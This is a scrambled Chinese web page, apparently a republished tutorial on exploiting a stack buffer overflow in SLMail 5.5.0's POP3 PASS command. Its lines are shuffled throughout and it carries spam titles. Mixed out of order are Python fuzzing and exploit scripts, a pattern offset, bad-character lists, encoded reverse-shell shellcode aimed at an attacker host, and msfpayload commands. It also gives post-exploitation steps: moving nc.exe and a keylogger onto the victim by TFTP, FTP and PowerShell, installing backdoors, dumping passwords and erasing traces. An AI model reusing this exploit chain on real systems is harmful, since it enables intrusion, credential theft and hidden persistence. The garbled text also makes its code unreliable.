一条绮美香在线免播放亚洲先锋影音中文字幕四区 取得系统特权进行“骚”操作,浅谈溢出原理那点事儿

作者:admin    文章来源:未知    点击数:    更新时间:2020-05-23 05:51

文章链接: https://bbs.ichunqiu.com/thread-56824-1-1.html

17except:

2、Windows

NC实现的远控是有局限性的,因为生成的是非交互行的shell。

其中 -s 参数后是填写的系统命令的16进制的字符。

8try:

i. ftp -s:ftp.txt

b. 数据生成器:生成随机,半随机数据

8"x6ax48x59xd9xeexd9x74x24xf4x5bx81x73x13x77xeax7b"

所以条件筛选后,几个选项必须为四个false一个true,只有这样脚本运行的结果才有保证。

16printdata

1#!/usr/bin/python

19"x28x17x24x15xabx3cxb7x42x7fx3dx11x82x7fx86x11xb9"

17except:

17except:

41print"Could not connect to POP3!"

b. 接着运行传入的程序就可以了

a.sh

执行!mona modules命令后,查找符合条件的系统模块。

得到EIP溢出的16进制的ascii编码的字符39 69 44 38,而内存的书写方式是与平时相反的,就意味着写入的四个字符的编码为 38 44 69 39。

1#!/usr/bin/python

11data = s.recv( 1024)

a. echo open ftp_host 21 > ftp.txt

找寻导致EIP溢出的字符数

38print'nDone!'

2importsocket

15s.recv( 1024)

11data = s.recv( 1024)

1、源码审计

接下来就是需要修改EIP寄存器使其跳转到ESP,而这时候就需要先向ESP中使其填满我们的shellcode代码。

2# -*- coding:utf8 -*-

34except:

e. chown -R nobody /tftp/

20s. close

23"xf6x2ex4fx41xd0xffx1fx98x85xe7x61x15x0ex7cx88x3c"

5print"nSending evil buffer"

7# 内存地址读取翻转,写入时候也是翻转写入,5F 4C 06 7B 写为 7B 06 4C 5F

18print"Could not connect to POP3!"

4s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

09.py

13data = s.recv( 1024)

使用kali工具计算四个字符在唯一字符串中间的位置。

6

6、使用合法的远程控制软件

15data = s.recv( 1024)

10s.connect(( '192.168.0.104', 110))

二分法

10s.connect(( '192.168.0.104', 110))

6s.connect(( '192.168.0.104', 110))

36data = s.recv( 1024)

4s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

操作系统层级的保护

4s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

2、Kali

使用该目录下的另一个脚本对已经编码的shellcode再次编码,避免出现坏字符。

32print"nSending evil buffer..."

13data = s.recv( 1024)

由程序可以看出,当PASS命令发送2900个字符的时候程序停止,已经能判定2900左右个字符的时候发生溢出。

17"x96xa8x4cxbax84x82x28x63x9ex32xf6x07x73x56x22x80"

说明从第2606个位置开始后就是这四个字符,也就得到了EIP溢出的具体位置。

5

10s.send( 'USER wangdada' 'rn')

Linux系统

25"xa2x51xb9xb9x84x82x1dx15x84x63x88x3ax13xb3x0ex2c"

1cd/usr/share/framework2 脚本所在目录

05.py

21"xabx32x1dx8ex1dx3cx14x87x11x04x2exc3xb7xddx90x80"

11data = s.recv( 1024)

g. echo GET klogger.exe >> ftp.txt

1、wget.vbs

3

13data = s.recv( 1024)

16

1、xp , 2003 默认安装

接下来就是找寻能导致EIP被覆盖的数据的具体个数。

其脚本本意是输出后面我们输入内容,但是由于符号的引入导致了程序错误,产生溢出,执行了符号后面的命令。

网络上有一部分网站会公布已经披露的漏洞,可以在上面找自己感兴趣的漏洞来复现。

b. curl

31try:

14s.send( 'PASS ' buffer 'rn')

13"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"

kali自带工具生成shellcode。

5counter = 100

mona.py

a. apt-get install vsftpd

13data = s.recv( 1024)

29buffer = 'A'* 2606 "x7Bx06x4Cx5F" "x90"* 8 shellcode

将服务重启,每次发生溢出后服务都会宕机,然后打开测试软件来监控程序。

2./msfpayload -l 查看所有shellcode的类型

当前OpenBSD、Linux、Windows、Mac OS等操作系统都具有buffer overflow protection(缓存溢出保护/存储器位置重新定向)功能[来源请求]一条绮美香在线免播放亚洲先锋影音中文字幕四区,在某种程度上可以保护操作系统一条绮美香在线免播放亚洲先锋影音中文字幕四区,但仍还是有办法让溢出的代码到正确的位置上。其作用原理是:存储器跟进程在memory中受到保护。内对外的access memory对象位置会被核心(调度器)随机定向一条绮美香在线免播放亚洲先锋影音中文字幕四区,使其无法正确溢出。

7

SLMail 5.5.0 Mail Server

27"x28xabxa1x15xabx54")

3./msfpayload win32_reverse LHOST= 192.168.4.108LPORT= 1234C

2、提权

03.py

5

h. echo bye >> ftp.txt

10s.connect(( '192.168.4.104', 110))

1/msfpayload win32_reverse LHOST=192.168.4.108 LPORT=1234 R | ./msfencode -b "x00x0ax0d"

11forstringinbuffer:

扩大对目标系统的控制能力。

4、安装后门

8try:

得到可以跳转ESP的系统的模块的地址后,随便选取一个,来做测试查看,这里选取的是 5f 4b 41 e3。

17except:

发送唯一字符串

d. echo cd tools >> ftp.txt

生成的shellcode存在 0d 坏字符。

9print"nSending evil buffer..."

11data = s.recv( 1024)

1、wget.ps1

a. 向程序堆栈半随机的数据,根据内存变化判断溢出

Rebase表示操作系统重启,重启后如果内存地址发生变化内容就是true,否则为false。

如果使用EIP的值替换为ESP的内存地址,那么溢出发生后就会从EIP跳转到ESP,就会执行设计的shellcode,但是ESP地址变化,硬编码不可行。

原标题:取得系统特权进行“骚”操作,浅谈溢出原理那点事儿

19"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"

9print"nSending evil buffer..."

在测试软件中点击ESP寄存器的位置,选择follow in dump选项来查看ESP里面数据的位置。

以上已经得到了EIP的溢出位数,可以看出ESP也被溢出填满,接下来就判断ESP寄存器可以被溢出的数据大小,如果大小合适,可以来填写我们的shellcode。

12print"Fuzzing PASS with %s bytes"% len( string)

我的测试起始位置是0180A2F8,末尾位置是0180A158,经过16进制的加减之后得到ESP寄存器溢出的数据量为416个,一般一个shellcode需要300个字符左右,现在ESP已经能够满足溢出shellcode的条件了。

31s.send( 'PASS ' buffer 'rn')

6buffer = 'A'* 2700

对应上面的ascii表得到四个字符为8Di9,这样就得到了具体溢出的四个字符。

19s.send( 'QUITrn')

a. netcat

13s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

8"x21x22x23x24x25&x27x28x29x2ax2bx2cx2dx2ex2fx30"

2importsocket

18print"Could not connect to POP3!"

再来调试器里面查看,程序已经down了,EIP里面已经填满了16进制为41的数据,ESP里面也全部是我们发送的数据A。

30

6"x01x02x03x04x05x06x07x08x09x0Ax0bx0cx0dx0ex0fx10"

8try:

15print'nDone!'

14s.send( 'PASS ' buffer 'rn')

构造shellcode并发送

7

14s.send( 'PASS ' buffer 'rn')

脚本登录查看

17

34data = s.recv( 1024)

既然得到了EIP溢出的数据量,再次来验证确认。

9

b. echo ftpname >> ftp.txt

其中SLMail 服务器的IP为 192.168.0.104

39

08.py

window_server_2003溢出演示

33

b. wine /usr/share/windows-binaries/exe2bat.exe nc.exe /home/wangdada/nc.hex

2importsocket

8buffer.append( "A"* counter)

R表示原始字符格式,进行再次编码的时候输入必须是原始格式才能够再次编码

1#!/usr/bin/python

b. Dump 密码

6buffer = 'A'* 2606 'x7Bx06x4Cx5F' 'C'* 300

28

22"x3fxddx95xdbxbbxa7xddx7fxf2xa9x89xa8x56xaax35xc6"

1#!/usr/bin/python

文章作者: classblier

使用!mona find -s "xffxe4" -m system_modle_name来查看该模块是否含有jmp esp。

15print'nDone!'

1#!/usr/bin/python

18print"Could not connect to POP3!"

2importsocket

8try:

7data = s.recv( 1024)

已知SLMail server PASS命令存在溢出漏洞,我们就以此为例来示范漏洞。

15print'nDone!'

1cd/usr/share/metasploit-framework/tools/exploit/

而剩下的三个选项都表示操作系统提供的安全机制,如果存在这种机制就是true,否则为false。

使用VB传输文件(早期版本的使用)

12printdata

使用TFTP传输文件(UDP,无身份验证)

null byte (0x00) 空字符,用于终止字符串的拷贝操作

当缓冲区边界限定不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据。从而成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

17except:

32print'nDone!'

a. mkdir /tftp

1#!/usr/bin/python

12s.send( 'USER wangdada' 'rn')

26"x02xabx02xeex84x82x88x9dx87xabxa7x82x8bxdex73xb5"

18print"Could not connect to POP3!"

02.py

可以使用kali自带的工具来转换。

4buffer = [ 'A']

16"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"

e. echo GET whoami.exe >> ftp.txt

10"xf0x38x53xcexf0x11x4bx61x07x51x0fxebx94xdfx38xf2"

1、Kali

1#!/usr/bin/python

生成我们需要的shellcode。

13"xf0x0bx53xebx90x32xfcxe6x30xdfx28xf6x7axbfx74xc6"

2import socket

21except:

24"x20x03x25xbbx2ax05x1dxebx2ax05x22xbbx84x84x1fx47"

20"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"

a. tftp -i attack_ip get hack.exe

40except:

1./pattern_offset.rb -q 39694438

12s.send( 'USER wangdada' 'rn')

5、Windows

12"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"

生成2700个唯一字符串

return (0x0D) 回车操作,表示POP3 PASS命令输入完成

01.py

20"xf2xb5xe2x82x97xadxddx8ax2cxabxa1x80x6bx05x22x15"

9print"nSending evil buffer..."

4

9print"nSending evil buffer..."

查看结果

Powershell传输文件

12"xbbx20x70x2bxb1x59x76x28x90xa0x4cxbex5fx7cx02x0f"

04.py

返回地址,shellcode,buffer中都不能出现坏字符

6

7whilelen(buffer) <= 50:

35s.send( 'USER wangdada' 'rn')

制造溢出

30data = s.recv( 1024)

a. Exploit-db -----> https://www.exploit-db.com

a. upx -9 nc.exe

a. 汇编,反汇编

最后编译的shellcode是使被攻击的机器反向连接我们的机器,我们的机器开放端口。究其原因是因为大多数情况下,在被攻击的机器上开放端口,本机连接可能会被防火墙过滤,所以使用反向连接,本机监听端口,使被攻击的机器连接我们的端口,这样比较靠谱。

寻找坏字符

16"x1dx07x11x82x48x66x1fx9dx08x66x28xbex84x84x1fx21"

1#!/usr/bin/python

3、模糊测试

18"x79xabxa7x82xa2x5dx82x47x2cxabxa1xb9x28x07x24xa9"

linux下可以使用edb-debugger来调试程序。

2./pattern_create.rb -l 2700

1、DEBUG

c. 把nc.hex中的内容传输到windows中

b. cp /usr/share/windows-binaries/klogger.exe /tftp/

14s.send( 'PASS ' buffer 'rn')

11"xf0x0bx57xebx90x1dxfcxdexf0x55x99xdbxbbxcdxdbx6e"

c. wget

5

2、c wget.vbs http://192.168.3.101/whoami.exe whoami.exe

27s.connect(( '192.168.4.104', 110))

漏洞利用后阶段

10"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"

确认ESP溢出的数据大小

寻找方法:

前提是将mona.py拖放到'PyCommands'文件夹中(在Immunity Debugger应用程序文件夹中)。

使用唯一字符串,kali里面有现成的脚本,可以自动生成。

3

b. 配置完毕就可以使用了

d. cp /usr/share/windows-binaries/nc.exe /tftp/

07.py

4s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

4try:

16s.send( 'USER wangdada' 'rn')

06.py

在内存中寻找地址固定的系统模块

目的是持久控制。

选择可信赖的EXP源

使用FTP传输文件

溢出发生,EIP被填满我们预设好的B字符,ESP则被填满脚本设定的C字符,确认了EIP溢出的具体位置。

内存地址不包含坏字符

29s.send( 'USER wangdada' 'rn')

24

需要找到的是导致EIP被数据溢出填满的那个数值,2900当然可以,但是2600个虽然导致溢出,但是发现EIP并没有被覆盖,2700个数值可以导致EIP被覆盖。

15"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"

3

c. 内网渗透

2、win7 , 2008 需要单独添加

33s.connect(( '192.168.4.108', 110))

3

b. 16进制dump工具

确认ESP的内存地址

12s.send( 'USER wangdada' 'rn')

1#!/usr/bin/python

22

16

11data = s.recv( 1024)

2importsocket

3

2echo$1

15print'nDone!'

3、Windows

由此判断,溢出发生。接下来就是寻找溢出进EIP的具体的四个字符。

物理机的IP 为 192.168.0.103

4、Kali

再次确认EIP溢出位置

shell简单溢出演示

5、最大的挑战 ----------> 防病毒软件

不同类型的程序,协议,漏洞,会将某些字符认为是坏字符,这些字符有固定用途。

10

16

2、powershell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -File wget.ps1

2[ *] Exact match at offset 2606

7

可完美地重复连接,但有些shellcode执行结束会以exitprocess方式退出整个进程,将导致邮件服务奔溃,会引起管理员注意,不过新版本的metasploit已经进行优化。

25try:

正常运行测试软件,运行完毕后在下面输入!mona modules就能查询系统模块。

使用脚本继续增大PASS命令发送的数据量,判定溢出时需要的数据量的大小,发送之前要在测试机器里面打开调试工具,就是我们准备的那个,运行之后再开始发送数据。

22print"Could not connect to POP3!"

35print"Could not connect to POP3!"

在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode

5badchars = {

a. debug < nc.hex

思路:发送0x00 到 0xff 256 个字符,查找所有的坏字符。

23buffer = "A"* 2606 "B"* 4 badchars

2importsocket

最后一个OS Dll表示是否为操作系统自带的模块,true为系统自带,false则不是系统自带。

11"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"

3

8printdata

16

8try:

18print"Could not connect to POP3!"

7"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"

17"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"

9counter = counter 200

上传文件

3s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

3

c. cp /usr/share/windows-binaries/whoami.exe /tftp/

21"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00"}

4s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

7shellcode = (

如何发现漏洞

17s.recv( 1024)

Windows系统

14s.send( 'PASS testrn')

14s.send( 'PASS ' buffer 'rn')

11data = s.recv( 1024)

PS:EIP寄存器存放下一条指令的地址

19print"nDone!"

9print"nSending evil buffer..."

10s.connect(( '192.168.0.108', 110))

c. 限制传输64k字节

13data = s.recv( 1024)

变通思路

14"xf0xddx1bxcex67x35xb4xdbxa0x30xfcxa9x4bxdfx37xe6"

15"xf0x24x6bx47xf0x14x7fxb4x13xdax39xe4x97x04x88x3c"

3、擦除攻击痕迹

20

2importsocket

c. Searchsploit -----> kali 自带的命令

4s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

5

26print"nSending evil buffer..."

3、经常被边界防火墙过滤

7

13

查看shellcode是否存在坏字符

10s.connect(( '192.168.0.104', 110))

18s.close

5

因Slmail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可是实现重复溢出。

6buffer = 'A'* 2606 'B'* 4 'C'* 20

c. echo ftppass >> ftp.txt

14"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"

12s.send( 'USER wangdada' 'rn')

执行过后可以看出EIP寄存器已经设定了预定的系统模块跳转ESP的值。

重新启动服务,运行脚本,根据上一步的步骤,dump下ESP里面的数据,查看数据,发现0A,0D,00是系统的坏字符,所以shellcode要避免出现这几个字符。

2、逆向工程

ImmunityDebugger_1_85_setup.exe

即是在操作系统上寻找一个固定模块,是操作系统自带的模块,并且该模块在内存中是固定分配地址的,这样无论重启多少次,该模块的内存地址都不会变化,这样溢出脚本的效果就有保证。

14connect = s.connect(( "192.168.0.104", 110))

1! #/bin/bash

6buffer = "A"* 2606 "B"* 4 "C"*( 3500-2606-4)

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

15print'nDone!'

b. SecurituFocus -----> https://www.securityfocus.com/

先发送2600个数据,发生溢出,但是EIP并没有被溢出的数据覆盖,接着发送2700个数据,EIP被覆盖。

f. echo GET nc.exe >> ftp.txt

f. atftpd --daemon --port 69 /tftp

准备:

1、上传工具

16

5s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

18s.send( 'PASS ' string 'rn')

唯一字符串法

9"x54x83xebxfcxe2xf4x8bx80x90x19x9fx13x84xabx88x8a"

DEBUG传输文件

a. 长期控制

9"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"

28data = s.recv( 1024)

37s.send( 'PASS ' buffer 'rn')

mona 运行后输出的结果最上面一行注意Rebase,SafeSEH,ASLR,NXCompat,OS Dll五个选项。

18"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"

6buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'

3importsocket

补充

正常登录

12s.send( 'USER wangdada' 'rn')

基础教程

展开全文

b. copy 1.dll nc.exe

寻找无DEP,ALSR保护的内存地址

原标题:开奖丨Colourpop迪士尼公主联名唇釉、谷雨面膜,速度来领!

原标题:疫情下的俄罗斯



友情链接